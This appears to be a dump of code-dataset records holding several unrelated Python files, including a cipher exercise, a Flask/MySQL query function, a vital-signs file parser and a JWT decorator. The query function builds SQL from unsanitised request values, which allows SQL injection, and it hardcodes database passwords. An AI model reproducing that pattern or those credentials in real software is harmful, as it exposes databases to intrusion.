encrypt(text):\n text=text.upper()\n for i in text:\n if(ord(i) != 32 and (ord(i)<65 or ord(i)>90) ):\n \n text = text.replace(i,\"\")\n \n wordArr = text.split(\" \")\n for i in range(len(wordArr)):\n wordArr[i] = wordArr[i][::-1]\n entext=(\" \").join(wordArr)\n return entext\n \n\ndef decrypt(text):\n wordArr = text.split(\" \")\n for i in range(len(wordArr)):\n wordArr[i] = wordArr[i][::-1]\n entext=(\" \").join(wordArr)\n return entext\n \n\nif __name__ == \"__main__\":\n n=int(input(\"ENTER 0 TO ENCRYPT OR 1 TO DECRYPT\\n\"))\n if(not n):\n text=input(\"ENTER THE PLAIN TEXT\\n\")\n entext = encrypt(text)\n print(\"THE ENCRYPTED TEXT IS\")\n print(entext)\n else:\n text= input(\"ENTER THE ENCRYPTED TEXT\\n\")\n entext = decrypt(text)\n print(\"THE DECRYPTED TEXT IS\")\n print(entext)\n","sub_path":"Ciphers/Day 4/Simple Transposition Cipher/SimpleTranspositionCipher2.py","file_name":"SimpleTranspositionCipher2.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"409889959","text":"from __future__ import print_function\nimport mysql.connector\nfrom flask import json\nfrom datetime import datetime\n\ndef get_period_data(request):\n\n #create empty response dictionary to resp-lists and list of requested table_names\n table_dict = {}\n table_names = []\n\n no_data_in_period = True\n\n begin = request[\"begin\"]\n end = request[\"end\"]\n table_req = request[\"data\"]\n\n #connect database and get existing table names\n name_query = \"SHOW TABLES\"\n \"\"\"\n cnx = mysql.connector.connect(user='t2botond', password = 'kisfaszom123', database= 't2botond$default',port='3306',host= 't2botond.mysql.pythonanywhere-services.com')\n \"\"\"\n cnx = mysql.connector.connect(user='root', password = '6025')\n cursor = cnx.cursor()\n #Not needed on deployed\n cnx.database = \"personality\"\n cursor.execute(name_query)\n\n #Check that begin and end is a valid date and begin is bigger than end\n try:\n start_object = datetime.strptime(begin, '%Y-%m-%d')\n end_object = datetime.strptime(end, '%Y-%m-%d')\n period = end_object - start_object\n\n if(period.total_seconds() < 0):\n response_dict = {\n 'error': 'Beginning of period is later then end of period.'\n }\n\n jsonStr = json.dumps(response_dict)\n\n return jsonStr\n\n\n except:\n response_dict = {\n 'error': 'INVALID DATE FORMAT'\n }\n\n jsonStr = json.dumps(response_dict)\n\n return jsonStr\n\n #make list of table names in response\n #It is also validating that the requested table is existing in the database.\n #If not existing empty response is sent back\n for name in cursor:\n #print(name[0], cursor)\n if name[0] in table_req:\n table_names.append(name[0])\n\n #Get data from each requestes table\n for table in table_names:\n\n data_query = \"SELECT speech_language.language, speeches.title, speeches.date, \" + table + \".percentage, \" + table +\".sampling_error \" \\\n \" from personality.speeches INNER JOIN personality.\" + table +\\\n \" ON speeches.id=\" + table + \".id \" \\\n \" INNER JOIN speech_language ON speeches.id=speech_language.id \" \\\n \" WHERE speeches.date BETWEEN '\" + begin + \"' AND '\" + end + \"'\" \\\n \" AND speech_language.language='en'\"\n \"\"\"\n data_query = \"SELECT speech_language.language, speeches.title, speeches.date, \" + table + \".percentage, \" + table +\".sampling_error \" \\\n \" from t2botond$default.speeches INNER JOIN t2botond$default.\" + table +\\\n \" ON speeches.id=\" + table + \".id \" \\\n \" INNER JOIN speech_language ON speeches.id=speech_language.id \" \\\n \" WHERE speeches.date BETWEEN '\" + begin + \"' AND '\" + end + \"'\" \\\n \" AND speech_language.language='en'\"\n \"\"\"\n #print(data_query)\n cursor.execute(data_query)\n\n #initialize result dictionary in response\n table_dict[table] = []\n\n #Add data to from tables to response\n for line in cursor:\n no_data_in_period = False\n detail_dict = {\n 'title': line[1],\n 'date': line[2],\n 'percentage': line[3],\n 'sampling_error': line[4]}\n\n table_dict[table].append(detail_dict)\n\n #If no speeches in the selected period\n if no_data_in_period:\n response_dict = {\n 'error': 'No speech in selected period!'\n }\n\n jsonStr = json.dumps(response_dict)\n\n return jsonStr\n #If everithing is OK\n else:\n #Create response json\n jsonStr = json.dumps(table_dict)\n\n return jsonStr\n","sub_path":"personality_backend/period_data.py","file_name":"period_data.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"413892424","text":"while True:\n try:\n n = input()\n li = list(map(int, input().split()))\n positive = []\n negative = []\n for i in li:\n if i > 0:\n positive.append(i)\n elif i < 0:\n negative.append(i)\n if positive:\n print(len(negative), '%.1f'%(sum(positive) / len(positive)))\n else:\n print(len(negative), '0.0')\n except:\n break","sub_path":"hj97_neg_positive.py","file_name":"hj97_neg_positive.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"179395040","text":"in1 = \"AFASdasd\"\nprint(in1)\nstr.lower(in1)\nprint(str.lower(in1))\n\nprint(\"Введи что-то\")\nstr11 = input()\nprint(\"Введи еще что-нибудь\")\nstr22 = input()\n\n\ndef strcompar(str1, str2):\n if isinstance(str1, str) and isinstance(str2, str):\n if str1 == str2:\n res = 1\n elif str1 != str2 and len(str1) > len(str2):\n res = 2\n elif str1 != str2 and str2 == \"learn\":\n res = 3\n else:\n res = 4\n else:\n res = 0\n return res\n\n\nres = strcompar(str11, str22)\n\n\nif res == 0:\n print(res)\nelif res == 1:\n print(res)\nelif res == 2:\n print(res)\nelif res == 3:\n print(res)\nelse:\n print(\"херня какая-то\")\n\n","sub_path":"bot_nebot.py","file_name":"bot_nebot.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"98662945","text":"\"\"\"\n isort:skip_file\n\"\"\"\nimport argparse\nimport os\nimport sys\nimport time\n\nsys.path.append(\"../\")\n\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\n\nfrom src.datasets.nmf_data_utils import SampleGenerator\nfrom src.models.compgcn import CompGCNEngine\nfrom src.models.compgcn_ncf import NeuMFEngine\nfrom src.train_engine import TrainEngine\nfrom src.utils.common_util import update_args\nfrom src.utils.monitor import Monitor\n\n\ndef parse_args():\n \"\"\" Parse args from command line\n\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Run COMPGCN-NCF..\")\n parser.add_argument(\n \"--config_file\",\n nargs=\"?\",\n type=str,\n default=\"../configs/compgcn_ncf_default.json\",\n help=\"Specify the config file name. Only accept a file from ../configs/\",\n )\n # If the following settings are specified with command line,\n # These settings will used to update the parameters received from the config file.\n parser.add_argument(\n \"--dataset\",\n nargs=\"?\",\n type=str,\n help=\"Options are: ml-100k, ml-1m and foursquare\",\n )\n parser.add_argument(\n \"--data_split\", nargs=\"?\", type=str, help=\"leave_one_out\",\n )\n parser.add_argument(\n \"--root_dir\", nargs=\"?\", type=str, help=\"Working directory\",\n )\n parser.add_argument(\n \"--device\", nargs=\"?\", type=str, help=\"Device\",\n )\n parser.add_argument(\n \"--loss\", nargs=\"?\", type=str, help=\"loss: bpr or bce\",\n )\n parser.add_argument(\n \"--dropout\", nargs=\"?\", type=float, help=\"dropout rate\",\n )\n parser.add_argument(\n \"--activator\", nargs=\"?\", type=str, help=\"activator\",\n )\n parser.add_argument(\n \"--remark\", nargs=\"?\", type=str, help=\"remark\",\n )\n parser.add_argument(\n \"--emb_dim\", nargs=\"?\", type=int, help=\"Dimension of the embedding.\"\n )\n parser.add_argument(\n \"--late_dim\", nargs=\"?\", type=int, help=\"Dimension of latent layer.\"\n )\n parser.add_argument(\"--n_bases\", nargs=\"?\", type=int, help=\"Number of bases.\")\n parser.add_argument(\"--lr\", nargs=\"?\", type=float, help=\"Initial learning rate.\")\n parser.add_argument(\"--reg\", nargs=\"?\", type=float, help=\"regularization.\")\n parser.add_argument(\"--max_epoch\", nargs=\"?\", type=int, help=\"Number of max epoch.\")\n parser.add_argument(\n \"--batch_size\", nargs=\"?\", type=int, help=\"Batch size for training.\"\n )\n\n return parser.parse_args()\n\n\nclass NCF_train(TrainEngine):\n \"\"\" An instance class from the TrainEngine base class\n\n \"\"\"\n\n def __init__(self, config):\n \"\"\"Constructor\n\n Args:\n config (dict): All the parameters for the model\n \"\"\"\n self.config = config\n super(NCF_train, self).__init__(self.config)\n self.load_dataset()\n self.build_data_loader()\n self.gpu_id, self.config[\"device_str\"] = self.get_device()\n\n def build_data_loader(self):\n # ToDo: Please define the directory to store the adjacent matrix\n (\n user_edge_list,\n user_edge_type,\n item_edge_list,\n item_edge_type,\n self.config[\"n_user_fea\"],\n self.config[\"n_item_fea\"],\n ) = self.dataset.make_multi_graph()\n self.sample_generator = SampleGenerator(ratings=self.dataset.train)\n self.config[\"user_edge_list\"] = torch.LongTensor(user_edge_list)\n self.config[\"user_edge_type\"] = torch.LongTensor(user_edge_type)\n self.config[\"item_edge_list\"] = torch.LongTensor(item_edge_list)\n self.config[\"item_edge_type\"] = torch.LongTensor(item_edge_type)\n self.config[\"num_batch\"] = self.dataset.n_train // self.config[\"batch_size\"] + 1\n self.config[\"n_users\"] = self.dataset.n_users\n self.config[\"n_items\"] = self.dataset.n_items\n\n def _train(self, engine, train_loader, save_dir):\n self.eval_engine.flush()\n epoch_bar = tqdm(range(self.config[\"max_epoch\"]), file=sys.stdout)\n for epoch in epoch_bar:\n print(\"Epoch {} starts !\".format(epoch))\n print(\"-\" * 80)\n if self.check_early_stop(engine, save_dir, epoch):\n break\n engine.train_an_epoch(train_loader, epoch_id=epoch)\n \"\"\"evaluate model on validation and test sets\"\"\"\n if self.config[\"validate\"]:\n self.eval_engine.train_eval(\n self.dataset.valid[0], self.dataset.test[0], engine.model, epoch\n )\n else:\n self.eval_engine.train_eval(\n None, self.dataset.test[0], engine.model, epoch\n )\n\n def train(self):\n \"\"\" Main training navigator\n\n Returns:\n\n \"\"\"\n self.monitor = Monitor(\n log_dir=self.config[\"run_dir\"], delay=1, gpu_id=self.gpu_id\n )\n print(\"Start Pre-training\")\n if self.config[\"pre_train\"] == 0:\n\n self.train_compgcn()\n else:\n pass\n print(\"Start fine-tuning\")\n self.train_ncf()\n self.config[\"run_time\"] = self.monitor.stop()\n self.eval_engine.test_eval(self.dataset.test, self.engine.model)\n\n def train_ncf(self):\n \"\"\" Train NeuMF\n\n Returns:\n None\n \"\"\"\n train_loader = self.sample_generator.instance_a_train_loader(\n self.config[\"num_negative\"], self.config[\"batch_size\"]\n )\n self.engine = NeuMFEngine(self.config)\n self.neumf_save_dir = os.path.join(\n self.config[\"model_save_dir\"], self.config[\"neumf_config\"][\"save_name\"]\n )\n self._train(self.engine, train_loader, self.neumf_save_dir)\n\n def train_compgcn(self):\n \"\"\" Train RGCN\n\n Returns:\n None\n \"\"\"\n train_loader = self.dataset\n # Train RGCN\n self.engine = CompGCNEngine(self.config)\n self.model_save_dir = os.path.join(\n self.config[\"model_save_dir\"], self.config[\"compgcn_config\"][\"save_name\"]\n )\n self._train(self.engine, train_loader, self.model_save_dir)\n while self.eval_engine.n_worker:\n print(f\"Wait 15s for the complete of eval_engine.n_worker\")\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n config = {}\n update_args(config, args)\n train_engine = NCF_train(config)\n train_engine.train()\n","sub_path":"examples/train_compgcn_ncf.py","file_name":"train_compgcn_ncf.py","file_ext":"py","file_size_in_byte":6358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"280255705","text":"#!/usr/bin/python3\nimport csv\nimport sys\n\ncurrent_bowler = \"\"\ncurrent_batsman = \"\"\ncurrent_run = 0\ncurrent_deli = 0\n\nDict = {}\nfor line in sys.stdin:\n\tline = line.strip()\n\tline_ = line.split(\"\\t\")\n\tbowler,batsman,run,deli = line_[0], line_[1], line_[2], line_[3]\n\t\n\ttry:\n\t\tcount_run = int(run)\n\t\tcount_deli = int(deli)\n\t\n\t\n\texcept ValueError:\n\t\tcontinue\n\t\t\n\tkey = batsman,bowler\n\tif key in Dict:\n\t\tDict[key][0] += count_run\n\t\tDict[key][1] += count_deli\n\telse: \n\t\tDict[key] = [count_run,count_deli]\n\t\t\t\t\nfor i in sorted(Dict.items() , key = lambda x :(-x[1][0],x[1][1],x[0][1],x[0][0]) ):\n\tif(i[1][1] > 5):\n\t\tprint(\"%s,%s,%d,%d\" % (i[0][1],i[0][0],i[1][0],i[1][1]))\n\n","sub_path":"adminmgr/media/code/python/red2/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"653921806","text":"def corrige_segmento(texto):\n segmento = ''\n if texto == 'acessórios':\n segmento = 'acessorios'\n elif texto == 'agriculltura':\n segmento = 'agricultura'\n elif texto == 'alimentos diversos':\n segmento = 'alimentos'\n elif texto == 'eletrodomésticos':\n segmento = 'eletrodomesticos'\n elif texto == 'equipamentos e servicos':\n segmento = 'equipamentos'\n elif texto == 'mateial rodoviario':\n segmento = 'material rodoviario'\n elif texto == 'ser med hospit analises e diagnosticos' or texto == 'serv med hospit analises e disgnosticos' or texto == 'serv.med.hospit.analises e diagnosticos':\n segmento = 'hospitalar'\n elif texto == 'serviços de apoio e armazenamento':\n segmento = 'serviços de apoio e armazenagem'\n elif texto == 'serviços diversos s.a ctax':\n segmento = 'serviços diversos'\n elif texto == 'siderurgia':\n segmento = 'siderurgica'\n elif texto == 'soc. Credito e financiamento' or texto == 'soc credito e financiamento':\n segmento = 'credito'\n elif texto == 'tansporte aereo':\n segmento = 'transporte aereo'\n else:\n segmento = texto \n\n return segmento\n\ndef corrige_categoria(texto):\n categoria = ''\n if texto == 'crescimento ':\n categoria = 'crescimento'\n else:\n categoria = texto\n \n return categoria","sub_path":"Codigos/Classificacao_Empresas_Functions.py","file_name":"Classificacao_Empresas_Functions.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555958150","text":"import pandas as pd\n\n#from main import pm25\n\n#url = 'https://data.epa.gov.tw/api/v1/aqx_p_02?limit=1000&api_key=9be7b239-557b-4c10-9775-78cadfc555e9&sort=ImportDate%20desc&format=csv'\nurl = '/Users/jonpan/Downloads/aqx_p_322_20210930105441.csv'\ndef get_pm25(sort=False):\n df = pd.read_csv(url).dropna()\n columns = ['SiteName', 'County', 'Concentration']\n datas = df[columns].values.tolist()\n if sort:\n datas = sorted(datas, key=lambda x:x[-1])\n #datas = sorted(df[columns].values.tolist(), key=lambda x:x[-1], reverse = True)\n return columns, datas\n\nif __name__=='__main__':\n print(get_pm25())\n\n\n\n\n","sub_path":"source_csv/pm25.py","file_name":"pm25.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"144696617","text":"import instaloader\n\n#instascraping\ndef insta_save():\n\tusername =\"test_accout_insta\"\n\tloader = instaloader.Instaloader()\n\n\tloader.load_session_from_file(username,'.test_accout_insta')\n\tprofile = instaloader.Profile.from_username(loader.context,username)\n\n\tarr = []\n\tfor saved_data in profile.get_saved_posts():\n\t\tarr.append(saved_data)\n\n\tloader.download_post(arr[0],'my_saved_collections')\n\n\tinsta_save()\n\n\ninsta_save()","sub_path":"insta_save_collection.py","file_name":"insta_save_collection.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"536175040","text":"from liaison.configs.agent.config import get_config as get_base_config\nfrom liaison.utils import ConfigDict\n\n\ndef get_config():\n config = get_base_config()\n\n # required fields.\n config.class_path = \"liaison.agents.gcn\"\n config.class_name = \"Agent\"\n\n config.model = ConfigDict()\n config.model.class_path = \"liaison.agents.models.gcn_rins\"\n config.model.n_prop_layers = 4\n config.model.edge_embed_dim = 16\n config.model.node_embed_dim = 16\n config.model.global_embed_dim = 16\n config.model.node_hidden_layer_sizes = [16]\n config.model.edge_hidden_layer_sizes = [16]\n config.model.policy_torso_hidden_layer_sizes = [16, 16]\n config.model.value_torso_hidden_layer_sizes = [16, 16]\n config.model.policy_summarize_hidden_layer_sizes = [16]\n config.model.value_summarize_hidden_layer_sizes = [16]\n config.model.supervised_prediction_torso_hidden_layer_sizes = [16, 16]\n\n config.model.sum_aggregation = False\n config.model.use_layer_norm = True\n\n config.clip_rho_threshold = 1.0\n config.clip_pg_rho_threshold = 1.0\n\n config.loss = ConfigDict()\n config.loss.vf_loss_coeff = 1.0\n\n config.loss.al_coeff = ConfigDict()\n config.loss.al_coeff.init_val = 0.\n config.loss.al_coeff.min_val = 0.\n config.loss.al_coeff.start_decay_step = int(1e10)\n config.loss.al_coeff.decay_steps = 5000\n # dec_val not used for linear scheme\n config.loss.al_coeff.dec_val = .1\n config.loss.al_coeff.dec_approach = 'linear'\n\n # applicable for agent 'liaison.agents.gcn_large_batch'\n config.apply_grads_every = 1\n\n return config\n","sub_path":"liaison/configs/agent/gcn_transformer.py","file_name":"gcn_transformer.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"331299214","text":"#! /usr/bin/env python\n\nfname = 'filename'\nfin = open(fname+'.in', 'r')\nfout = open(fname+'.out', 'w')\n\ndef solve(fin):\n\treturn \"solution\"\n\nT = int(fin.readline())\nfor i in xrange(1,T+1):\n\tfout.write(\"Case #\"+str(i)+\": \"+str(solve(fin))+\"\\n\")\nfout.close()\nfin.close()\n","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"397054864","text":"#!/usr/bin/env pypy3\n# Load data from .vital files from Vital Recorder\n# Vital Recorder: https://vitaldb.net/vital-recorder\n# Vital File Format: https://vitaldb.net/docs/document?documentId=1S_orMIzhL9XlWDArqh3h4rAp_IRXJs8kL7n07vAJhU8\n\n\n\nimport gzip\nfrom construct import *\nimport warnings\nimport io\nfrom pathlib import Path\nimport collections\nimport textwrap\nimport pandas as pd\n\n# Import file construct obj\nfrom vital_file_struct import body_str, header_str\n\nclass Track:\n '''\n Object which contains all packets from one track\n '''\n def __init__(self, vital_obj, trkid):\n # Get rec from trkid\n self.info, = (trk for trk in vital_obj.track_info if trk.trkid == trkid)\n self.recs = [rec for rec in vital_obj.recs if rec.trkid == trkid]\n self.devname = 'VITAL' if self.info.devid == 0 else \\\n [dev.devname for dev in vital_obj.dev_info if dev.devid == self.info.devid][-1]\n \n # Convert values using adc_gain and adc_offset\n for i, rec in enumerate(self.recs):\n if self.info.rec_type == 1: # Waveform\n self.recs[i]['values'].vals_real = [val * self.info.adc_gain + self.info.adc_offset for val in rec['values'].vals]\n elif self.info.rec_type == 2: # Numeric\n self.recs[i]['values'].vals_real = rec['values'].val[0] * self.info.adc_gain + self.info.adc_offset \n elif self.info.rec_type == 5: # String (Annotation)\n self.recs[i]['values'].vals_real = rec['values'].sval\n self.recs[i]['values'].num = 1 # There is only one value (string) per rec\n else: \n raise Exception(f'Unknown rec_type: {self.info.rec_type}')\n\n \n def __str__(self):\n n_recs = [rec['values'].num for rec in self.recs]\n \n return textwrap.dedent(f'''\n ======= TRACK INFO =======\n name: {self.info.name}\n unit: {self.info.unit}\n starttime: {self.recs[0].dt.format()} ({self.recs[0].dt.humanize()})\n measurements: {sum(n_recs)} in {len(n_recs)} blocks\n --------------------------\n ''')\n\n def to_pandas_ts(self, concat_list = True):\n '''\n Convert track to data frame with time and (real) value\n '''\n\n try:\n # In events srate us 0. As there is only one value per rec, it can just be set to None\n freq = f'{1000/self.info.srate}ms'\n except ZeroDivisionError:\n freq = None\n\n\n pandas_ts = []\n\n for rec in self.recs:\n index = pd.date_range(start = rec.dt.datetime, freq = freq, periods = rec['values'].num)\n pandas_ts.append(pd.Series(rec['values'].vals_real, index = index))\n \n if concat_list:\n pandas_ts = pd.concat(pandas_ts)\n\n return pandas_ts\n\n def save_to_file(self, folder_path = None, file_name = None, gzip = False):\n '''\n Save csv file containing track\n '''\n if file_name is None:\n file_name = Path(self.info._io.name).stem + '_' + self.info.name + '_' + str(self.info.trkid) + ('.csv.gz' if gzip else '.csv')\n \n if folder_path is None:\n folder_path = 'converted'\n\n folder_path = Path(folder_path)\n\n #Create folder if it does not exist\n folder_path.mkdir(parents=True, exist_ok=True)\n\n file_path = folder_path / file_name\n\n pandas_ts = self.to_pandas_ts()\n pandas_ts.to_csv(file_path, header = False, compression='gzip' if gzip else 'infer')\n \n print(f'Saved {file_path}')\n \n\n\nclass Vital:\n '''\n Class that holds an entire .vital file as a dict\n '''\n def __init__(self, path):\n self.load_vital(path)\n self.track_info = ListContainer([packet.data for packet in self.file.body if packet.type == 0])\n self.dev_info = ListContainer([packet.data for packet in self.file.body if packet.type == 9])\n\n # Event tracks may be duplicated in trackinfo.\n # Keep only the first EVENTS track.\n track_names = [trk.name for trk in self.track_info]\n i_event = [i for i, x in enumerate(track_names) if x == \"EVENT\"]\n\n if(len(i_event) > 1):\n i_event.pop() # Keep one instance\n\n for i in sorted(i_event, reverse=True):\n del self.track_info[i]\n\n self.recs = ListContainer([packet.data for packet in self.file.body if packet.type == 1])\n \n def __str__(self):\n '''\n Human readable description when Vital object is printed\n '''\n return textwrap.dedent(f'''\n ======= VITAL FILE INFO =======\n Path: {self.file.header._io.filename}\n Size: {self.summed_datalen/1000.0} KB\n Format Ver.: {self.file.header.format_ver}\n Tracks (n): {len(self.track_info)}\n\n ----------- Tracks ------------\n ''') + \\\n pd.DataFrame(self.track_info)[['trkid', 'name', 'unit']].to_string(index = False) + \\\n textwrap.dedent('''\n -------------------------------\n ''')\n \n def get_track(self, trkid = None, name = None):\n '''\n Returns record. Can be called with either name or trkid.\n If both are given, they are tested to match.\n '''\n\n if trkid is None and name is None:\n raise ValueError('get_rec expected either trkid or name')\n \n # Get trkid if name is given\n if not name is None:\n trkid_from_name, = (x.trkid for x in self.track_info if x.name == name)\n\n if not trkid is None:\n assert trkid == trkid_from_name\n \n trkid = trkid_from_name\n \n return Track(self, trkid)\n\n def save_track_info(self, path):\n '''\n Save csv file with track info\n '''\n\n track_df = pd.DataFrame(self.track_info)[['trkid', 'name', 'unit', 'srate', 'devid']]\n dev_df = pd.DataFrame(self.dev_info)[['devid', 'devname']]\n\n track_df = pd.merge(track_df, dev_df, how = 'left', on = 'devid')\n\n path = Path(path)\n\n path.mkdir(parents=True, exist_ok=True)\n\n track_df.to_csv(path / Path('tracks.csv'), index=False)\n\n print('Saved Track Info (tracks.csv)')\n\n def save_tracks_to_file(self, trackids = None, names = None, path = None, save_all = False, gzip = False):\n '''\n Save tracks to individual csv files\n '''\n \n if path is None:\n path = self.vital_filename\n\n if save_all:\n tracks = [self.get_track(trackid) for trackid in [track_info.trkid for track_info in self.track_info]]\n self.save_track_info(path)\n\n elif trackids is None and names is None:\n raise ValueError('Expected either trkids, names or save_all')\n else:\n if names is not None:\n tracks = [self.get_track(name = name) for name in names]\n else: \n tracks = [self.get_track(trackid = trackid) for trackid in trackids]\n\n for track in tracks:\n track.save_to_file(folder_path=path, gzip = gzip)\n\n def load_vital(self, path):\n \n\n with gzip.GzipFile(path, 'rb') as f:\n # the last 4 bits of a gzip files is its unpacked size\n total_file_size = f.seek(0, io.SEEK_END)\n f.seek(0)\n header = header_str.parse_stream(f)\n\n # Loop until stream error\n body = ListContainer()\n completed = False\n data_read = header.headerlen + 10\n print('')\n while not completed:\n try:\n body.append(body_str.parse_stream(f))\n data_read = data_read + body[-1].datalen + 5 \n print(f'Data read: {round(data_read/1000)} of {total_file_size/1000} kB', end=\"\\r\", flush=True)\n except StreamError:\n #print(\"End of stream reached\")\n completed = True\n print()\n\n # Check that all packets have been parsed\n self.summed_datalen = sum([x.datalen + 5 for x in body]) + header.headerlen + 10\n\n #print(\"Total file size: \" + str(total_file_size/1000) + \"kB\")\n assert total_file_size == self.summed_datalen, \"The summed datalen does not match the filesize\"\n\n self.vital_filename = Path(path).stem\n\n self.file = Container(header=header, body=body)\n\n# When run as __main__ (from command line)\ndef main(args):\n try:\n vitfile = Vital(args.vitalfile)\n except FileNotFoundError as err:\n print(err)\n return\n\n if args.info:\n print(vitfile)\n else:\n #TODO output Save tracks\n if args.trkid is not None:\n try:\n trkid_int = [int(id) for id in args.trkid]\n except ValueError as err:\n print('Error: Expected --trkid as list of integers')\n print(err)\n return\n else:\n trkid_int = None\n\n vitfile.save_tracks_to_file(trackids = trkid_int, names = args.name, save_all = args.saveall, path=args.outdir, gzip=args.gzip)\n \n\n\nif __name__ == \"__main__\":\n import sys\n import argparse\n \n parser = argparse.ArgumentParser(description='''\n Convert .Vital file to .csv files\n Output CSVs will be named __.csv[.gz]\n ''')\n parser.add_argument('vitalfile', type=str, help = 'Path to input file (.vital)')\n parser.add_argument('--outdir', '-o', type=str, help = 'Directory for csv files (default=./converted)')\n parser.add_argument('--info', '-I', action='store_true', help = 'Info about .vital file')\n parser.add_argument('--trkid', '-t', nargs='+', help = 'Id(s) of track(s) to save')\n parser.add_argument('--name', '-n', nargs='+', help = 'Name(s) of track(s) to save')\n parser.add_argument('--saveall', action='store_true', help = 'Save all tracks')\n parser.add_argument('--gzip', action='store_true', help = 'Compress all tracks with gzip')\n \n\n main(parser.parse_args())\n","sub_path":"parse_vital.py","file_name":"parse_vital.py","file_ext":"py","file_size_in_byte":10182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"518904051","text":"import jwt\nfrom view.response import Response\nfrom model.dbmanipulate import DbManaged\nfrom config.redis_connection import RedisService\n\n\ndef response(success=False, message='something went wrong', data=[]):\n response = {'success': success,\n \"message\": message,\n \"data\": data, }\n\n return response\n\n\ndef is_authenticated(method):\n def authenticate_user(self):\n \"\"\"\n this function is used to decode and check whether the user is authorized user or not\n :param catch:\n True:return:\n \"\"\"\n\n try:\n print(self.path, type(self.path))\n if self.path in ['/api/note/insert', '/api/note/delete', '/api/note/update']:\n print(\"gcsyudch\")\n token = self.headers['token']\n payload = jwt.decode(token, \"secret\", algorithms='HS256')\n print(payload)\n id= payload['id']\n redis_obj = RedisService()\n token = redis_obj.get(id)\n print(token, '------->token')\n if token is None:\n raise ValueError(\"You Need To Login First\")\n return method(self)\n else:\n return method(self)\n\n\n except jwt.ExpiredSignatureError:\n # return 'Signature expired. Please log in again.'\n # response['message']=\"Signature expired. Please log in again.\"\n res = response(message=\"Signature expired. Please log in again.\")\n Response(self).jsonResponse(status=404, data=res)\n\n except jwt.DecodeError:\n # return \"Wrong Token\"\n\n res = response(message=\"DecodeError\")\n\n Response(self).jsonResponse(status=404, data=res)\n\n except jwt.InvalidTokenError:\n # return 'Invalid token. Please log in again.'\n res = response(message=\"InvalidTokenError\")\n\n Response(self).jsonResponse(status=404, data=res)\n\n return authenticate_user\n","sub_path":"view/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"368788304","text":"from __future__ import division ## want 3.x division behavior\nimport cPickle\nimport gzip\nfrom random import shuffle\nimport numpy as np\nfrom PIL import Image\nimport glob\n\n__author__ = 'tj_florence'\n\nif __name__ == '__main__':\n\n max_train = 8492\n max_test = 1000\n img_size = 100\n\n img_save_dir = '/Users/tj_florence/Desktop/Kristin2TJ/processed_images/'\n done_files = glob.glob(img_save_dir+'*')\n num_files = len(done_files)\n\n rand_ind = range(num_files)\n shuffle(rand_ind)\n\n train_images = np.zeros((max_train,(img_size*img_size*3)), dtype='float16')\n test_images = np.zeros((max_test,(img_size*img_size*3)), dtype='float16')\n # valid_images = np.zeros((8492-(max_test+max_train),(img_size*img_size*3)), dtype='float16')\n\n num_train = 0\n num_valid = 0\n num_test = 0\n\n for i in range(num_files):\n\n img_num = rand_ind[i]\n img_name = done_files[img_num]\n\n # print('********')\n # print[i]\n # print[img_num]\n # print('********')\n\n split_name = img_name.split('_')\n true_sex = int(split_name[-1])\n\n img = Image.open(open(img_name))\n img = img.resize((img_size,img_size), Image.ANTIALIAS)\n img_array = np.asarray(img, dtype='float16') / 256.\n img_vec = np.reshape(img_array, (1, (img_size*img_size*3)))\n\n if num_train < max_train:\n\n if num_train == 0:\n train_labels = true_sex\n else:\n train_labels = np.append(train_labels, true_sex)\n\n train_images[num_train,:] = img_vec\n\n num_train += 1\n\n elif num_test < max_test:\n\n\n if num_test == 0:\n test_labels = true_sex\n else:\n test_labels = np.append(test_labels, true_sex)\n\n test_images[num_test,:] = img_vec\n\n num_test += 1\n\n else:\n\n if num_valid == 0:\n valid_labels = true_sex\n else:\n valid_labels = np.append(valid_labels, true_sex)\n\n\n valid_images[num_valid,:] = img_vec\n\n num_valid += 1\n\n\n train_set = (train_images, train_labels)\n # valid_set = (valid_images, valid_labels)\n # test_set = (test_images, test_labels)\n\n print('pickling')\n\n cPickle.dump( (train_set), open( \"deepSex_data.pkl\", \"wb\" ) )\n # f_in = open(\"deepSex_data.pkl\", 'rb')\n # f_out = gzip.open('deepSex_data.pkl.gz', 'wb')\n # f_out.writelines(f_in)\n # f_out.close()\n # f_in.close()\n\n print('complete')\n","sub_path":"make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"158609810","text":"from sqlalchemy import *\n\nimport material\n\nDB_URI = \"sqlite://./material.db\" # mysql://root@localhost/sc_mta\"\n\ndef connect_session():\n \"\"\"Instantiate the database connection.\"\"\"\n\n db_metadata = BoundMetaData(DB_URI)\n\n # Material registry\n m_tbl = Table('materials', 